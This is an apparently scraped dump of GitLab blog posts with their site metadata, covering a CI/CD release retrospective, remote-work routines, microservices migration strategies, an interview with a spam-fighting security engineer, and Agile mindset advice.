minutes](https://docs.gitlab.com/ee/administration/settings/continuous_integration.html#extra-shared-runners-pipeline-minutes-quota)\n- [Change the cloning path for pipelines](https://docs.gitlab.com/ee/ci/runners/configure_runners.html#custom-build-directories)\n- [Simple masking of protected variables in logs](https://docs.gitlab.com/ee/ci/variables/#masked-variables)\n- [Enable/disable Auto DevOps at the group level](https://docs.gitlab.com/ee/topics/autodevops/#enablingdisabling-auto-devops-at-the-group-level)\n- [Group-level runners for group-level clusters](https://docs.gitlab.com/ee/user/group/clusters/#installing-applications)\n- [Control over `git clean` flags in pipeline jobs](https://docs.gitlab.com/ee/ci/runners/configure_runners.html#git-clean-flags)\n\n---\n\n## [GitLab 11.11](/releases/2019/05/22/gitlab-11-11-released/)\n\n### Windows Container Executor\n\nIn GitLab 11.11 (May 2019) we were very pleased to add a new executor to the GitLab Runner\nfor using [Docker containers on Windows](https://docs.gitlab.com/runner/executors/docker.html#using-windows-containers).\nPreviously, using the shell executor to orchestrate Docker commands was the primary\napproach for Windows, but with this update you are now able to use Docker\ncontainers on Windows directly, in much the same way as if they were on Linux\nhosts. This opened up the door for more advanced kinds of pipeline orchestration\nand management for our users of Microsoft platforms.\n\nAlso included with this update was improved support for PowerShell throughout GitLab\nCI/CD, as well as new helper images for various versions of Windows containers.\n\n![Windows Executor](https://about.gitlab.com/images/11_11/windows-container.png){: .shadow.medium.center}\n\n### Caching proxy for Container Registry\n\nLots of teams are using containers as part of their build pipelines, and our new\n[caching proxy](https://docs.gitlab.com/ee/user/packages/dependency_proxy/index.html) for\nfrequently used upstream images/packages introduced a great way to speed them up.\nBy keeping a copy of needed layers locally using the new caching proxy, you can\neasily improve execution performance for the commonly used images in your environment.\n\n![Dependency Proxy](https://about.gitlab.com/images/11_11/dependency-proxy-mvc.png){: .shadow.medium.center}\n\n### Chat notifications for deployments\n\nIn 11.11 deployment events were available to be [automatically shared in your team’s channel](https://docs.gitlab.com/ee/user/project/integrations/)\nthrough our Slack and Mattermost chat integrations, helping bring visibility to\nthese important activities that your teams need to be aware of.\n\n![Notifications](https://about.gitlab.com/images/11_11/release-slack-notification.png){: .shadow.medium.center}\n\n### Guest Access for Releases\n\nIt also became possible in this release for [guest users of your projects to view releases](https://docs.gitlab.com/ee/user/permissions.html#releases-permissions)\nthat you have published on the Releases page. They will be able to download your\npublished artifacts, but are prevented from downloading the source code or seeing\nrepository information such as tags and commits.\n\n![Guest Releases](https://about.gitlab.com/images/11_7/release-releases_page.png){: .shadow.medium.center}\n\n### Other highlights\n\n- [Add-on runner minutes extended to free plans](https://docs.gitlab.com/ee/administration/settings/continuous_integration.html#extra-shared-runners-pipeline-minutes-quota)\n- [Access deployment details through environments API](https://docs.gitlab.com/ee/api/environments.html#get-a-specific-environment)\n- [Create a file directly from environment variable](https://docs.gitlab.com/ee/ci/variables/#variable-types)\n- [Run all manual jobs for a stage in one click](https://docs.gitlab.com/ee/ci/pipelines/index.html#add-manual-interaction-to-your-pipeline)\n\n---\n\n## In conclusion\n\nPhew... that was a lot of great features, and the team here at GitLab is really proud of\nwhat we delivered with this series of GitLab releases. I hope you found something\nthat you can take advantage of in your own CI/CD process. If you're interested in\nseeing where we're heading next, head over to our [CI/CD strategy page](/direction/ops/)\nand check out what's coming. Also, be sure to check out our 12.0 release post coming out on the 22nd of this month.\n\nOne of the things you may have noticed is that we frequently add new iterations\non our features, even month to month. We have a lot more iterations planned, both\nfor new and existing features, but what would you like to see in the next\nversion of your favorite feature? We'd love to hear – let us know in the\ncomments below.\n\nPhoto by [Zoltan Tasi](https://unsplash.com/photos/O_mBXldZ0hc?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/arrow?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[4103,110,754],{"slug":29020,"featured":6,"template":678},"look-back-on-11-11-cicd","content:en-us:blog:look-back-on-11-11-cicd.yml","Look Back On 11 11 Cicd","en-us/blog/look-back-on-11-11-cicd.yml","en-us/blog/look-back-on-11-11-cicd",{"_path":29026,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29027,"content":29032,"config":29037,"_id":29039,"_type":16,"title":29040,"_source":17,"_file":29041,"_stem":29042,"_extension":20},"/en-us/blog/day-in-the-life-remote-worker",{"title":29028,"description":29029,"ogTitle":29028,"ogDescription":29029,"noIndex":6,"ogImage":28190,"ogUrl":29030,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29030,"schema":29031},"A day in the life of the \"average\" remote worker","Go on, you know you're curious! Explore a day in the life of GitLab team members from around the world.","https://about.gitlab.com/blog/day-in-the-life-remote-worker","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A day in the life of the \"average\" remote worker\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"},{\"@type\":\"Person\",\"name\":\"Charlie Ablett\"}],\n        \"datePublished\": \"2019-06-18\",\n      }",{"title":29028,"description":29029,"authors":29033,"heroImage":28190,"date":29034,"body":29035,"category":6634,"tags":29036},[17272,24915],"2019-06-18","\nGitLab is an [all-remote company](/company/culture/all-remote/), meaning we are not based in one location or even one time zone. Instead, our team is distributed in home offices and work spaces [across the globe](/company/team/#countries), everywhere from San Francisco to London to Taipei.\n\nBecause GitLab is not limited to one time zone, we work asynchronously. Our asynchronous workflow gives us a [competitive advantage](/blog/remote-enables-innovation/), because we are contributing 24 hours a day, as opposed to the standard 9am-5pm if we had a brick-and-mortar office headquartered in one location. As an organization, the focus is not on when or how a team member works, but rather on our [results](https://handbook.gitlab.com/handbook/values/#results).\n\nBecause of this emphasis on results rather than regimen, there is a lot of variability in how we structure our workdays. At [Contribute 2019](/events/gitlab-contribute/), a group of us came together to discuss how we use the flexibility GitLab affords us to structure our ideal workdays. Our discussion featured team members working in different capacities, as engineers, writers, and managers, from many different locations.\n\n## Morning\n\nThere are a few morning activities that were universal: A warm cup of coffee or tea to kick off the day; and morning cuddles with a cat or dog if you have the good fortune of having a pet.\n\n\"When my alarm goes off, Milly, my dog, who hates getting out of bed, snuggles closer to me. I get up, make coffee, and log on to begin working. Meanwhile, Milly is usually still in bed until 10:30am, sometimes even 11:30am,\" says [Sara Kassabian](/company/team/#sarakassabian), content editor, from Oakland, California.\n\nFor some of us, sunshine (or other humans) function as the morning wake-up call.\n\n\"I stopped setting an alarm because mornings are quiet in my time zone, and (inevitably) I get woken by my upstairs neighbors getting ready for work anyway! I make a big cup of coffee and try to get all my deep focus work done before my coworkers in the US start to wake up,\" says [Rebecca Dodd](/company/team/#rebecca), managing editor, from London.\n\n\"I also do not set an alarm because I often work until late. Usually my kids wake me up at some point, and then I will have a big cup of tea,\" says [Charlie Ablett](/company/team/#cablett), a senior backend engineer, [Plan](/handbook/engineering/development/dev/plan/), from New Zealand.\n\nMornings can be a particularly hectic time for working parents. Oftentimes, parents who don't work remotely will have to juggle getting their children ready for school, getting ready for work, and making school drop-off in time to get to the office between 8am-9am. Parents working at GitLab have the opportunity to be in the home and available to their children because we're [all remote](/blog/building-an-award-winning-culture-at-gitlab/). Flexible scheduling makes it a little bit easier to balance family with work obligations.\n\n## Midday\n\nWe all structure our afternoons differently. Some of us have children to pick up from school, while others are just starting their workday, or taking a break from the computer to run errands or exercise.\n\n\"I usually take a break to go running or to walk my dog. Then I’ll pick up my kids from school. I usually have one or two more screening calls and some team meetings,\" says [Stephanie Garza](/company/team/#stephaniegarza), diversity sourcing specialist, from Michigan.\n\n\"I start my workday in the afternoon by checking Slack and emails. I may go for a walk. I might work out then start focused work at 3pm or so,\" says [Laura Montemayor](/company/team/#lauraMon), frontend engineer, [Monitor](/handbook/engineering/frontend/monitor/), from New York City.\n\nWeather is also a big determinant about whether work or play is on the agenda for the afternoon.\n\n\"It depends on whether or not the weather is nice or if I have plans in the evening. If it’s sunny in New York City, you have to go outside. If it’s nice I want to go enjoy the weather! Or if I’m going out in the evening I’ll get my work done first,\" says Avielle Wolfe, backend engineer, [Secure](/handbook/engineering/development/sec/secure/), from New York City.\n\n\"If it’s sunny in Oakland, I will take Milly for a longer walk, which gives me some Vitamin D and the boost of energy I’ll need to finish up any remaining tasks for the day,\" added [Sara](/company/team/#sarakassabian).\n\nNot every team member lives in a location as urban as Oakland or New York City. Some live in suburban neighborhoods or more rural locations, all of which can have an impact on how we structure our day. For instance, [Charlie](/company/team/#cablett), who lives in a more rural setting, once had to set aside an hour around 4pm each day to milk her cows.\n\n## Evening\n\nFor those of us with children, the evenings are the ideal time to set work aside and focus on family time.\n\n\"My evening typically begins with practice. My daughter does soccer and my son does karate. My husband works a weird schedule so this is my alone time with the kids. I will make dinner and then get some more work done sometime between 8-10pm,\" says [Stephanie](/company/team/#stephaniegarza).\n\nIf our workday started in the afternoon as opposed to the morning, there are often more tasks to be completed throughout the evening.\n\n\"I am still working by evening,\" says [Laura](/company/team/#lauraMon). \"I’ll have a meal around 8pm. If I have plans, I go out, otherwise I play video games. If I get a second wind I’ll work more after 10pm.\"\n\n\"I try to finish my work by 6pm, but if I work overtime then the next day I will have an excuse to relax a little bit! In the evenings, I’ll cook dinner by putting some chicken and veggies into a steamer pot, and then continue working while that cooks, or I will go out for dinner. Sometimes I’ll attend local meetups, or just relax and watch TV. My bedtime is around midnight,\" says [Mark Chao](/company/team/#lulalala_it), backend engineer, [Create](/handbook/engineering/development/dev/create/), from Taipei.\n\n## Focused versus collaborative work\n\nGitLab gives us the flexibility to build a custom schedule, so early birds and night owls can work when they feel they are most effective. When we choose to work in tandem with teammates and when we do our focus work depends primarily upon two factors: When the overlap happens across teams and time zones, and also when we are most focused and/or creative.\n\n\"Europe and the Americas are chatty overnight so I have lots to catch up on in the morning, including the minutes of meetings that happened at 3am (e.g., daily company call),\" says [Charlie](/company/team/#cablett). \"America is still awake so I collaborate with them if I need to, and I do all my deep focus work later on when not many folks are around.\"\n\nThough GitLab has a globally distributed team across 54 countries and regions, the majority of us are based in the United States and Europe.\n\n\"After lunch, I get maybe one more hour of focused work in until 3pm when America wakes up. Then meetings start, Slack gets busy, and then I'm trying to disentangle myself and switch off for the evening,\" says [Rebecca](/company/team/#rebecca). \"If something doesn’t happen before 3pm, it generally doesn’t happen that day.\"\n\n\"In the afternoon for me, people will start to wake up and log on so I will have more interactions and working on issues,\" says [Mark](/company/team/#lulalala_it).\n\nSometimes team members with children will log on to complete a few more hours of work while the children are sleeping, generally between 8pm-10pm, and sometimes after 10pm.\n\n## Family first at GitLab\n\n\"I love working at GitLab for a variety of reasons, but the flexibility in creating work-life harmony in my life tops my list. I work closely with our executive team here, and they have been so supportive and encouraging when family-related conflicts arise. They are constantly reminding me that \"[family first](https://handbook.gitlab.com/handbook/values/#family-and-friends-first-work-second)\" is our mantra, and give me ease of mind to take time away when needed,\" says [Cheri Holmes](/company/team/#cheriholmes), manager, executive assistant, from Dublin, California, in a previous [blog post](/blog/building-an-award-winning-culture-at-gitlab/).\n\nInc. Magazine recently ranked GitLab as one of the [best places to work](/blog/building-an-award-winning-culture-at-gitlab/), due in large part to a company culture that gives team members the agency to balance our personal and professional obligations. While the \"average\" team member may not share a schedule, we do share a commitment to our [values](https://handbook.gitlab.com/handbook/values/#credit): Collaboration, results, efficiency, diversity, iteration, and transparency. In order to work asynchronously effectively, everyone must embrace and embody the values of our organization.\n",[754,3798,2368,676],{"slug":29038,"featured":6,"template":678},"day-in-the-life-remote-worker","content:en-us:blog:day-in-the-life-remote-worker.yml","Day In The Life Remote Worker","en-us/blog/day-in-the-life-remote-worker.yml","en-us/blog/day-in-the-life-remote-worker",{"_path":29044,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29045,"content":29050,"config":29055,"_id":29057,"_type":16,"title":29058,"_source":17,"_file":29059,"_stem":29060,"_extension":20},"/en-us/blog/strategies-microservices-architecture",{"title":29046,"description":29047,"ogTitle":29046,"ogDescription":29047,"noIndex":6,"ogImage":12396,"ogUrl":29048,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29048,"schema":29049},"Implementing microservices architectures and deployment strategies","Want to dump the monolith and get into microservices? Consider these three methods.","https://about.gitlab.com/blog/strategies-microservices-architecture","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Implementing microservices architectures and deployment strategies\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chrissie Buchanan\"}],\n        \"datePublished\": \"2019-06-17\",\n      }",{"title":29046,"description":29047,"authors":29051,"heroImage":12396,"date":29052,"body":29053,"category":8943,"tags":29054},[18462],"2019-06-17","\n\nMicroservices can have a major impact on organizations looking to increase automation and deployment speed. The biggest companies in the world – Amazon, Netflix, Google, etc. – all work on this architecture model and release at lightning speed. So why is using microservices so effective? The easiest way to understand [microservices architecture](/blog/what-are-the-benefits-of-a-microservices-architecture/) is by comparing it to its counterpart – the monolith.\n\nWith a monolithic architecture, all of the components are part of a single unit: Everything is developed, deployed, and scaled together. In comparison, [microservices](/topics/microservices/) have each component broken out and deployed individually as services, and these services communicate with each other via API calls. For complex applications that need to run at scale, microservices can offer greater flexibility, reliability, and a faster pace of innovation than monoliths.\n\nNo, monoliths aren’t inherently bad, but teams stuck in a monolith system often sacrifice speed for simplicity, and that could haunt them in the long term. So what do you do when you want to make the switch to microservices and start implementing faster? Consider these options.\n\n## The strangler method\n\n[Martin Fowler’s strangler method](https://www.martinfowler.com/bliki/StranglerApplication.html) was inspired by a trip he took to Australia:\n\n> “One of the natural wonders of this area [Australia] is the huge strangler vines. They seed in the upper branches of a fig tree and gradually work their way down the tree until they root in the soil. Over many years they grow into fantastic and beautiful shapes, meanwhile strangling and killing the tree that was their host.”\n\nIt sounds brutal based on this description, but it’s actually one of the gentlest and most effective transitions for an organization. Essentially, parts of the monolith become microservices little by little until eventually the monolith is cut out completely. The benefit is that this transition is much more gradual, so uptime and availability are largely unaffected while the organization modernizes. The con? Speed.\n\n## The Lego strategy\n\nLet’s say you don’t necessarily want to ditch the monolith completely. Maybe it has a valuable use for a certain product or facet of the organization, or maybe you just don’t have the resources to dismantle it or don’t want to. The Lego strategy could be the right choice.\n\nThe team at Kong use this term because you’re essentially building on top of what you already have (like Lego blocks). Instead of switching over to microservices completely, you commit to [building new features as microservices](https://konghq.com/blog/transition-to-microservices-what-now/) while still keeping the existing monolithic codebase. While this approach doesn’t fix current issues, it will help with future expansions and buy much-needed time. This hybrid environment can exist relatively pain-free but has some risks: Increased technical debt, navigating code versions between the monolith and the new microservices features, and maintenance costs.\n\n## The nuclear option\n\nImagine: Your monolith is kaput, finito, dunzo. It can’t be fixed and it can’t stay. What now? As the name suggests, going nuclear is the riskiest and rarest option of all. The upside is that you can start from scratch. The downside is... you start from scratch. This approach is risky because you do run the risk of downtime when everything shifts over to microservices – which is a real no-no for user experience. Infrastructure is best when it’s invisible, and a new microservices architecture won’t win back the favor of users that were inconvenienced. Then again, maybe your new microservices architecture was built perfectly and cloud, software, and staff are perfectly in place and users will never know the difference. That’s the risk of a full rip-and-replace.\n\n## A successful transition to microservices\n\n[The team at Verizon was able to reduce its data center deploys from 30 days to _under eight hours_ by utilizing microservices](/blog/verizon-customer-story/), and their application modernization strategy centered around four key goals:\n\n*   Architecture\n*   Automation\n*   Extensibility\n*   Being proactive\n\nBy having clear goals throughout the process, the Verizon team was able to remove manual deployments and streamline their processes. When adopting a microservices model, it helps to have some clear objectives about what you would like to achieve, and prioritize certain outcomes over others. Modernization projects almost never go according to plan, and if you have to make tough decisions, having a list of ‘must-haves’ can guide the conversation.\n\nThe oldest argument for monoliths has always been their simplicity: They’re easy to build and easy to run. While it was once difficult to develop applications with a microservices architecture, over the past five years it has become considerably easier with container orchestration tools like Kubernetes, [comprehensive CI/CD tools](/solutions/continuous-integration/) that automate testing and deployments, and APIs that update automatically. Developers can focus on innovating rather than completing manual tasks and maintaining legacy systems. Organizations that adopt microservices get their simplicity through automated processes, and while it’s not as simple as a monolith, the benefits far outweigh the cons.\n\nRegardless of which method you choose, the willingness to modernize to the latest [DevOps](/topics/devops/) architecture is the most important first step. Ready to dive into microservices?\n\n[Just commit](/blog/application-modernization-best-practices/).\n{: .alert .alert-gitlab-purple .text-center}\n",[4103,110],{"slug":29056,"featured":6,"template":678},"strategies-microservices-architecture","content:en-us:blog:strategies-microservices-architecture.yml","Strategies Microservices Architecture","en-us/blog/strategies-microservices-architecture.yml","en-us/blog/strategies-microservices-architecture",{"_path":29062,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29063,"content":29068,"config":29073,"_id":29075,"_type":16,"title":29076,"_source":17,"_file":29077,"_stem":29078,"_extension":20},"/en-us/blog/ask-gitlab-security-roger-ostrander",{"title":29064,"description":29065,"ogTitle":29064,"ogDescription":29065,"noIndex":6,"ogImage":28863,"ogUrl":29066,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29066,"schema":29067},"Ask GitLab Security: Roger Ostrander","What’s it like working day and night to kill spam, Bitcoin mining, malware and more? Meet our security team.","https://about.gitlab.com/blog/ask-gitlab-security-roger-ostrander","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Ask GitLab Security: Roger Ostrander\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2019-06-14\",\n      }",{"title":29064,"description":29065,"authors":29069,"heroImage":28863,"date":29070,"body":29071,"category":674,"tags":29072},[12307],"2019-06-14","\nWhat’s it like working to secure one of the most transparent organizations in the world?  To be a security practitioner in a highly iterative and agile environment? What does that look like and what kind of people thrive in that environment? It takes a certain individual... curious, analytical, collaborative and dedicated. Of course, there’s more than meets the eye when it comes to our GitLab Security team; they also tackle the hard topics like the age-old 'Is a hotdog a sandwich?' debate, Vim vs Emacs, and Linux distros.\n{: .note}\n\nWe take securing the GitLab product and service and protecting our company very seriously. But, we try not to take ourselves too seriously. We hope you learn something new in this series, but that you enjoy yourself too.\n{: .note}\n\n\n![Roger Ostrander Headshot](https://about.gitlab.com/images/blogimages/rostrander.png){: .small.right.wrap-text} **Name:** Roger Ostrander\n\n**Title:** Senior security engineer, [Abuse Operations](/handbook/security/#abuse-operations)\n\n**How long have you been at GitLab?** I started on Mar. 26, 2018\n\n**GitLab handle:** [@rostrander](https://gitlab.com/rostrander)\n{: #tanuki-orange}\n\n**Connect with Roger:** [LinkedIn](https://www.linkedin.com/in/roger-ostrander-835848ba/) / [Twitter](https://twitter.com/atiaxi)\n\n\n#### Tell us what you do here at GitLab:\nI kill spam, I kill Bitcoin mining, I kill phishing and malware. If it’s bad, I kill it. And this isn’t just removal; I create automated tools that let us detect all these things and stop them ahead of time.\n\n#### What’s the most challenging or rewarding aspect of your role?\nI’m up against everyone in the world out to make a quick buck by spamming, which means it’s an arms race. I improve my detection, they find another way in, I detect that, they respond, etc. It’s definitely a challenge, and the reward is, of course, when I get to just completely wipe out a ton of spam or prevent it from being created in the first place. Who hasn’t seen spam and thought to themselves, “I wish I could do something about that right now”? I can!\n\n#### And, what are the top 2-3 initiatives you’re currently focused on?\n- Snippet spam is currently a big problem, where people will put spammy search terms in our snippets hoping that search engines will pick up on them.  Recently, there was an [API change](https://gitlab.com/gitlab-org/gitlab-ce/issues/41888) that’ll make that a lot easier to deal with.\n\n- Similarly, people create groups with names like “Watch this free movie online,” which are not only spam but also tend to be vectors for malware. So anyone who searches for “watch \u003Cpopular movie here> free” hoping to pirate a film instead gets a link to a big, heaping pile of keylogging. Keeping on top of that is an ongoing priority, because of course there’s plenty of money to be made by taking over someone’s computer.\n\n#### How did you get into security?\nIt started when I interviewed at Reddit nearly a decade ago – at first, I thought it was for an ordinary backend web development position. Then, halfway through the interview when I was talking to the CEO, he said “We’re actually more interested in your machine learning background, to fight spam.” Ever been in a job interview when you realize you’ve been interviewing for the wrong thing the entire time? I had to change gears pretty quickly, but it worked and I’ve been busting up bad actors ever since.\n\n#### In the past decade, how has your area of expertise changed?\nQuite a bit – I started out as a general backend web programmer, got into machine learning and spamfighting, where I learned quite a bit of frontend technology – even if I am terrible at the actual design work that generally accompanies that.\n\nBut the biggest influence on the breadth of my expertise came from a job that wasn’t actually a programming job at all: It was a role as a solutions architect for a NoSQL database company. If that sounds strangely vague to you, then you have some idea of what I did. It was a technical sales position where I’d fly on-site to various customers (some of them household names) and help them set up our product. The sheer amount of “big picture” experience I got from that was invaluable. When you’re programming, it’s very easy to fall into the specific area that you’re working on. Even if you do have backend experience, it’s hard to get a full idea of how something’s rolled out across a whole company, possibly worldwide. So, the sheer scope of that role allowed me to get a more complete view of how an entire system ought to work at the largest possible scale.\n\n#### Tell us about a time when you failed professionally. How did you recover and what did you learn?\nI once banned the entire front page of Reddit. We were dealing with issues similar to what I’m dealing with today, the “watch free movies” kind of spam/malware scenario I described above, and I’d noticed a pattern: Spammers would create a subreddit of their own and populate it with spam, for SEO purposes. So I created a processing script to find that behavior and made a list of all the subreddits they’d posted in and naively assumed they’d only posted to their own. I made a list, but it had several hundred items on it, so I spot checked them and it seemed everything was okay.\n\nSurprise, it wasn’t! They’d posted in pretty much every popular subreddit, meaning my script banned high-profile, high-traffic subreddits. Also this was during the company’s all-hands so every single person in the company was asking “What happened to movies?” My response, of course, was a very calm, “I’M WORKING ON IT!” What I learned from that one was to fully check my results instead of simply spot checking, and that keeping logs of what your destructive scripts have done is mandatory.\n\n#### GitLab is very unique in that we strive to be incredibly transparent... about everything. What sort of challenges does that present to you as a security professional? What opportunities?\nThis is an enormous issue for me, because while I am in the security department my area of expertise is anti-abuse. So, for example, if a vulnerability is reported to security, it won’t initially be public. Generally it’s only made public while it’s fixed. But when I come up with a new tactic for fighting spam… I don’t ever want that to be public! Even, perhaps especially, if it’s a simple tactic. If spammers knew specifically how they were being detected, they’d change their behavior accordingly. So it’s a very difficult balancing act.\n\nEven so, there are opportunities – the snippets API feature, for example, came about because someone outside of GitLab requested it. They wanted to use it for anti-spam purposes just like I did, but the API doesn’t do any spam checking on its own. So that got to be developed in full view with all the benefits transparent development brings, but without giving away any secrets.\n\n## Now, for the questions you *really* want to have answered:\n\n#### Vim or Emacs?\nI learned VI(M) long ago as a practical necessity, and I highly recommend it. Every Unix system everywhere is going to have at least VI on it as a minimum, so if you know how to work with that then you can get something done no matter where you are. Emacs used to be my go-to “IDE”-type editor, but nowadays I generally use more specialized IDEs.\n\n#### Is a hotdog a sandwich?\nMy wife works for the USDA, so she has opinions on this. Legally backed opinions, as it happens. Frankfurters are specifically quoted in policy as a “sandwich type product.” [Citation: United States Department of Agriculture, \"Food Standards and Labeling Policy Book.\"](https://www.fsis.usda.gov/wps/wcm/connect/7c48be3e-e516-4ccf-a2d5-b95a128f04ae/Labeling-Policy-Book.pdf?MOD=AJPERES) And I’m wise enough to agree with my wife. And also the law, I guess.\n\n#### Is a taco a sandwich?\nA taco is just a tacoid in the category of endofoodtors. What’s the problem?\n\n#### Gif or Gif? (Gif or Jif?)\nLook at that pronunciation guide right there in the question. One of those is spelled exactly like the word whose pronunciation is being debated. Just saying.\n\n#### Have a question to ask the GitLab Security team? Leave a comment below!\n",[7715,676,674,674],{"slug":29074,"featured":6,"template":678},"ask-gitlab-security-roger-ostrander","content:en-us:blog:ask-gitlab-security-roger-ostrander.yml","Ask Gitlab Security Roger Ostrander","en-us/blog/ask-gitlab-security-roger-ostrander.yml","en-us/blog/ask-gitlab-security-roger-ostrander",{"_path":29080,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29081,"content":29087,"config":29092,"_id":29094,"_type":16,"title":29095,"_source":17,"_file":29096,"_stem":29097,"_extension":20},"/en-us/blog/agile-mindset",{"title":29082,"description":29083,"ogTitle":29082,"ogDescription":29083,"noIndex":6,"ogImage":29084,"ogUrl":29085,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29085,"schema":29086},"What is an Agile mindset?","Learn how embracing change can help you speed up software delivery.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680634/Blog/Hero%20Images/agilemind.jpg","https://about.gitlab.com/blog/agile-mindset","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What is an Agile mindset?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Suri Patel\"}],\n        \"datePublished\": \"2019-06-13\",\n      }",{"title":29082,"description":29083,"authors":29088,"heroImage":29084,"date":29089,"body":29090,"category":8943,"tags":29091},[20767],"2019-06-13","\n\n\nEnsuring [Agile](/solutions/agile-delivery/) teams use the most [effective strategies](/solutions/agile-delivery/) to reduce cycle time is a\npriority for IT leaders, but what good is a menagerie of techniques if a team’s\napproach to software development doesn’t spark innovation? When it comes to\nbuilding the foundation for accelerating delivery, IT leaders have been incorrectly\nplacing emphasis on collecting tools rather than developing an Agile mindset.\n\n> “The core of Agile is recognizing that we need to get to and maintain an Agile mindset. **If I have an organization with an Agile mindset, and really rock-solid product management, Agile processes and tools will evolve out of that. If you have the Agile mindset and an awesome connection with your customers and are solving their problems, things will evolve in the right way.** You won’t even realize you’re being Agile. It’s just good business.” — [Todd Little](https://www.forbes.com/sites/stevedenning/2016/06/07/the-key-missing-ingredient-in-the-agile-manifesto-mindset/#4fa5917467ff), CEO Lean Kanban\n\nThere are many definitions of an Agile mindset, but the general consensus is that it:\n\n* Views setbacks as learning opportunities\n* Embraces iteration, collaboration, and change\n* Focuses on delivering value\n\n## Agile mindset characteristics\n\nThere’s no definitive list of what makes up an Agile mindset, but with the\nintention of getting you started, here are a few of the most widely accepted\ncharacteristics. Based on your team’s dynamics, your organization’s culture, and\nyour goals, you may adopt other attributes to help your team accelerate delivery.\n\n### Setbacks are learning opportunities\n\nEmpower your team to experiment and be creative so that rather than view a setback\nas a failure, they’ll see it as an opportunity to learn and grow. When your team\nhas the freedom to be innovative – without fear – they’re more likely to solve\nproblems and add to the knowledge base of what works and what doesn’t.\nTaking risks shouldn’t be a rebellious endeavor — it should be your team’s norm.\n\n### Agile values and principles: Iteration, collaboration, and change\n\n**Iteration**: Instill the belief that there’s always room for improvement and\nthat anyone can propose a change or idea. At GitLab, we believe\n[everyone can contribute](/company/mission/#mission) and that [iteration is the fastest\nway to feedback](https://handbook.gitlab.com/handbook/values/#iteration), helping us course correct and\ncreate new features.\n\n**Collaboration**: Finding ways to improve and increase cross-collaboration\nenables frictionless handoffs, helps relieve the burden on teams, and facilitates\na culture of trust and communication. Whether you develop new workflows or use\ndifferent tools, keep an eye out for silos which can work against collaboration.\n\n**Change**: Agile methodology is founded on the ability to adapt to\nunpredictability. If your customers or organization want to pivot soon after a\ndirection is set, your team should be able to do just that. Any\nprocesses or roadblocks that prevent your team’s ability to be flexible and\nembrace change should be removed.\n\n### Deliver value\n\nWe can all agree that teams should deliver value both to customers and the\norganization. But where an Agile mindset makes all the difference is shifting the\nemphasis from the output, which focuses only on the items delivered, to the\noutcome, which is how a feature meets a market need. An Agile mindset helps teams\ncreatively think of how a feature can solve a problem rather than feel pressured\nto deliver a set number of items in a month. It’s the whole “quality over quantity” idea.\n\n## Steps to shift to an Agile mindset\n\nChanging your team’s perspective and the way they approach problems is a difficult\nundertaking. You’re challenging their long-held beliefs while requiring them to\ncomplete tasks and meet deadlines. This is an uncomfortable process in any\nenvironment, but especially in the workplace where an (in)ability to quickly\nshift can impact performance and reputation. Fortunately, there are a few\nmethods to help you navigate these difficulties and enable your team to smoothly\nadopt an Agile mindset:\n\n\n1. **Model behavior**: The most effective way to help your team shift to an Agile\nmindset is to exemplify the behaviors you want to see. To create a\n“no-fault, embrace risk” environment, share your setbacks with the team and tell\nthem what you learned. When someone experiments, praise them for trying something\nnew and discuss the biggest lessons learned. By being transparent and showing your\nteam that this new way of thinking is possible, you become their collaborator.\n1. **Storytelling**: Share how other organizations or teams have benefited from\nan Agile mindset. Understanding what others gained from a new way of\nthinking can help your team feel more enthusiastic about the change.\n1. **Take small steps**: After doing more research about an Agile mindset, you\nmight get excited and feel tempted to change things overnight. Take small steps\nand make minor adjustments in the beginning to help your team acclimate.\n\n## What's the impact?\n\nWith an Agile mindset, teams can quickly adjust to changing market needs, respond\nto customer feedback, and deliver business value. Adopting a new perspective can\npositively change a team’s culture, since the shift permits innovation without fear,\ncollaboration with ease, and delivery without roadblocks.\n\nCover image by [Benjamin Voros](https://unsplash.com/@vorosbenisop?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/photos/X4bgpcGBNAY)\n{: .note}\n",[1899,2368,4103,1444],{"slug":29093,"featured":6,"template":678},"agile-mindset","content:en-us:blog:agile-mindset.yml","Agile Mindset","en-us/blog/agile-mindset.yml","en-us/blog/agile-mindset",{"_path":29099,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29100,"content":29105,"config":29110,"_id":29112,"_type":16,"title":29113,"_source":17,"_file":29114,"_stem":29115,"_extension":20},"/en-us/blog/google-gitlab-serverless-webinar",{"title":29101,"description":29102,"ogTitle":29101,"ogDescription":29102,"noIndex":6,"ogImage":26321,"ogUrl":29103,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29103,"schema":29104},"Container apps on serverless: Write once, deploy anywhere","Containers, serverless, and microservices, oh my! Cut to the chase and learn how to write apps once and deploy anywhere with emerging technologies.","https://about.gitlab.com/blog/google-gitlab-serverless-webinar","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Write once, deploy anywhere: Containerized applications on modern serverless platforms\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tina Sturgis\"}],\n        \"datePublished\": \"2019-06-13\",\n      }",{"title":29106,"description":29102,"authors":29107,"heroImage":26321,"date":29089,"body":29108,"category":299,"tags":29109},"Write once, deploy anywhere: Containerized applications on modern serverless 